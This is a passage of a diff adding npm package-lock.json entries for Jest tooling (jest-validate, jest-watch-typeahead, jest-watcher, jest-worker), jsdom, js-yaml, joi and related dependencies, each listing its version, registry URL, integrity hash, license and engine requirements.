"sha512-thkNli0LYTmOI1tDB3FI1S1RTp/Bqyd9pTarJwL87OIBFuqEb5Apv5EaApEudYg4g86e3CT6kM0RowkhtEnCBQ==", + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "camelcase": "^6.2.0", + "chalk": "^4.0.0", + "jest-get-type": "^27.5.1", + "leven": "^3.1.0", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-validate/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-validate/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-validate/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-validate/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-validate/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-validate/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/jest-watch-typeahead/-/jest-watch-typeahead-1.1.0.tgz", + "integrity": "sha512-Va5nLSJTN7YFtC2jd+7wsoe1pNe5K4ShLux/E5iHEwlB9AxaxmggY7to9KUqKojhaJw3aXqt5WAb4jGPOolpEw==", + "license": "MIT", + "dependencies": { + "ansi-escapes": "^4.3.1", + "chalk": "^4.0.0", + "jest-regex-util": "^28.0.0", + "jest-watcher": "^28.0.0", + "slash": "^4.0.0", + "string-length": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "jest": "^27.0.0 || ^28.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/console": { + "version": "28.1.1", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-28.1.1.tgz", + "integrity": "sha512-0RiUocPVFEm3WRMOStIHbRWllG6iW6E3/gUPnf4lkrVFyXIIDeCe+vlKeYyFOMhB2EPE6FLFCNADSOOQMaqvyA==", + "license": "MIT", + "dependencies": { + "@jest/types": "^28.1.1", + "@types/node": "*", + "chalk": "^4.0.0", + "jest-message-util": "^28.1.1", + "jest-util": "^28.1.1", + "slash": "^3.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/console/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/test-result": { + "version": "28.1.1", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-28.1.1.tgz", + "integrity": "sha512-hPmkugBktqL6rRzwWAtp1JtYT4VHwv8OQ+9lE5Gymj6dHzubI/oJHMUpPOt8NrdVWSrz9S7bHjJUmv2ggFoUNQ==", + "license": "MIT", + "dependencies": { + "@jest/console": "^28.1.1", + "@jest/types": "^28.1.1", + "@types/istanbul-lib-coverage": "^2.0.0", + "collect-v8-coverage": "^1.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/types": { + "version": "28.1.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-28.1.1.tgz", + "integrity": "sha512-vRXVqSg1VhDnB8bWcmvLzmg0Bt9CRKVgHPXqYwvWMX3TvAjeO+nRuK6+VdTKCtWOvYlmkF/HqNAL/z+N3B53Kw==", + "license": "MIT", + "dependencies": { + "@jest/schemas": "^28.0.2", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@types/yargs": { + "version": "17.0.10", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.10.tgz", + "integrity": "sha512-gmEaFwpj/7f/ROdtIlci1R1VYU1J4j95m8T+Tj3iBgiBFKg1foE/PSl93bBd5T9LDXNPo8UlNN6W0qwD8O5OaA==", + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-watch-typeahead/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-watch-typeahead/node_modules/emittery": { + "version": "0.10.2", + "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.10.2.tgz", + "integrity": "sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sindresorhus/emittery?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-message-util": { + "version": "28.1.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-28.1.1.tgz", + "integrity": "sha512-xoDOOT66fLfmTRiqkoLIU7v42mal/SqwDKvfmfiWAdJMSJiU+ozgluO7KbvoAgiwIrrGZsV7viETjc8GNrA/IQ==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^28.1.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^28.1.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-message-util/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-regex-util": { + "version": "28.0.2", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-28.0.2.tgz", + "integrity": "sha512-4s0IgyNIy0y9FK+cjoVYoxamT7Zeo7MhzqRGx7YDYmaQn1wucY9rotiGkBzzcMXTtjrCAP/f7f+E0F7+fxPNdw==", + "license": "MIT", + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-util": { + "version": "28.1.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-28.1.1.tgz", + "integrity": "sha512-FktOu7ca1DZSyhPAxgxB6hfh2+9zMoJ7aEQA759Z6p45NuO8mWcqujH+UdHlCm/V6JTWwDztM2ITCzU1ijJAfw==", + "license": "MIT", + "dependencies": { + "@jest/types": "^28.1.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-watcher": { + "version": "28.1.1", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-28.1.1.tgz", + "integrity": "sha512-RQIpeZ8EIJMxbQrXpJQYIIlubBnB9imEHsxxE41f54ZwcqWLysL/A0ZcdMirf+XsMn3xfphVQVV4EW0/p7i7Ug==", + "license": "MIT", + "dependencies": { + "@jest/test-result": "^28.1.1", + "@jest/types": "^28.1.1", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "emittery": "^0.10.2", + "jest-util": "^28.1.1", + "string-length": "^4.0.1" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/string-length": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", + "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", + "license": "MIT", + "dependencies": { + "char-regex": "^1.0.2", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/pretty-format": { + "version": "28.1.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-28.1.1.tgz", + "integrity": "sha512-wwJbVTGFHeucr5Jw2bQ9P+VYHyLdAqedFLEkdQUVaBF/eiidDwH5OpilINq4mEfhbCjLnirt6HTTDhv1HaTIQw==", + "license": "MIT", + "dependencies": { + "@jest/schemas": "^28.0.2", + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "license": "MIT" + }, + "node_modules/jest-watch-typeahead/node_modules/slash": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/jest-watch-typeahead/node_modules/string-length": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/string-length/-/string-length-5.0.1.tgz", + "integrity": "sha512-9Ep08KAMUn0OadnVaBuRdE2l615CQ508kr0XMadjClfYpdCyvrbFp6Taebo8yyxokQ4viUd/xPPUA4FGgUa0ow==", + "license": "MIT", + "dependencies": { + "char-regex": "^2.0.0", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/jest-watch-typeahead/node_modules/string-length/node_modules/char-regex": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-2.0.1.tgz", + "integrity": "sha512-oSvEeo6ZUD7NepqAat3RqoucZ5SeqLJgOvVIwkafu6IP3V0pO38s/ypdVUmDDK6qIIHNlYHJAKX9E7R7HoKElw==", + "license": "MIT", + "engines": { + "node": ">=12.20" + } + }, + "node_modules/jest-watch-typeahead/node_modules/strip-ansi": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.0.1.tgz", + "integrity": "sha512-cXNxvT8dFNRVfhVME3JAe98mkXDYN2O1l7jmcwMnOslDeESg1rF/OZMtK0nRAhiari1unG5cD4jG3rapUAkLbw==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/strip-ansi/node_modules/ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watcher": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-27.5.1.tgz", + "integrity": "sha512-z676SuD6Z8o8qbmEGhoEUFOM1+jfEiL3DXHK/xgEiG2EyNYfFG60jluWcupY6dATjfEsKQuibReS1djInQnoVw==", + "license": "MIT", + "dependencies": { + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "jest-util": "^27.5.1", + "string-length": "^4.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-watcher/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-watcher/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-watcher/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-watcher/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-watcher/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watcher/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-worker": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "license": "MIT", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/jest-worker/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/jju": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/jju/-/jju-1.4.0.tgz", + "integrity": "sha512-8wb9Yw966OSxApiCt0K3yNJL8pnNeIv+OEq2YMidz4FKP6nonSRoOXc80iXY4JaN2FC11B9qsNmDsm+ZOfMROA==", + "license": "MIT" + }, + "node_modules/joi": { + "version": "17.6.0", + "resolved": "https://registry.npmjs.org/joi/-/joi-17.6.0.tgz", + "integrity": "sha512-OX5dG6DTbcr/kbMFj0KGYxuew69HPcAE3K/sZpEV2nP6e/j/C0HV+HNiBPCASxdx5T7DMoa0s8UeHWMnb6n2zw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@hapi/hoek": "^9.0.0", + "@hapi/topo": "^5.0.0", + "@sideway/address": "^4.1.3", + "@sideway/formula": "^3.0.0", + "@sideway/pinpoint": "^2.0.0" + } + }, + "node_modules/js-sha3": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/js-sha3/-/js-sha3-0.8.0.tgz", + "integrity": "sha512-gF1cRrHhIzNfToc802P800N8PpXS+evLLXfsVpowqmAFR9uwbi89WvXg2QspOmXL8QL86J4T1EpFu+yUkwJY3Q==", + "license": "MIT" + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", + "integrity": "sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==", + "dev": true, + "license": "MIT" + }, + "node_modules/jsdom": { + "version": "16.7.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-16.7.0.tgz", + "integrity": "sha512-u9Smc2G1USStM+s/x1ru5Sxrl6mPYCbByG1U/hUmqaVsm4tbNyS7CicOSRyuGQYZhTu0h84qkZZQ/I+dzizSVw==", + "license": "MIT", + "dependencies": { + "abab": "^2.0.5", + "acorn": "^8.2.4", + "acorn-globals": "^6.0.0", + "cssom": "^0.4.4", + "cssstyle": "^2.3.0", + "data-urls": "^2.0.0", + "decimal.js": "^10.2.1", + "domexception": "^2.0.1", + "escodegen": "^2.0.0", + "form-data": "^3.0.0", + "html-encoding-sniffer": "^2.0.1", + "http-proxy-agent": "^4.0.1", + "https-proxy-agent": "^5.0.0", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.0", + "parse5": "6.0.1", + "saxes": "^5.0.1", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.0.0", + "w3c-hr-time": "^1.0.2", + "w3c-xmlserializer": "^2.0.0", + "webidl-conversions": "^6.1.0", + "whatwg-encoding": "^1.0.5", + "whatwg-mimetype": "^2.3.0", + "whatwg-url": "^8.5.0", + "ws": "^7.4.6", + "xml-name-validator": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "canvas": "^2.5.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/jsdom/node_modules/form-data": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz", + "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/jsdom/node_modules/html-encoding-sniffer": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz", + "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==", + "license": "MIT", + "dependencies": { + "whatwg-encoding": "^1.0.5" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jsdom/node_modules/tough-cookie": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.0.0.tgz", + "integrity": "sha512-tHdtEpQCMrc1YLrMaqXXcj6AxhYi/xgit6mZu1+EDWUn+qhUf8wMQoFIy9NXuq23zAwtcB0t/MjACGR18pcRbg==", + "license": "BSD-3-Clause", + "dependencies": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.1.2" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsdom/node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "license": "MIT", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/jsdom/node_modules/whatwg-encoding": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz", + "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==", + "license": "MIT", + "dependencies": { + "iconv-lite": "0.4.24" + } + }, + "node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/json-bigint-string": { + "version": "1.0.0", + "resolved": 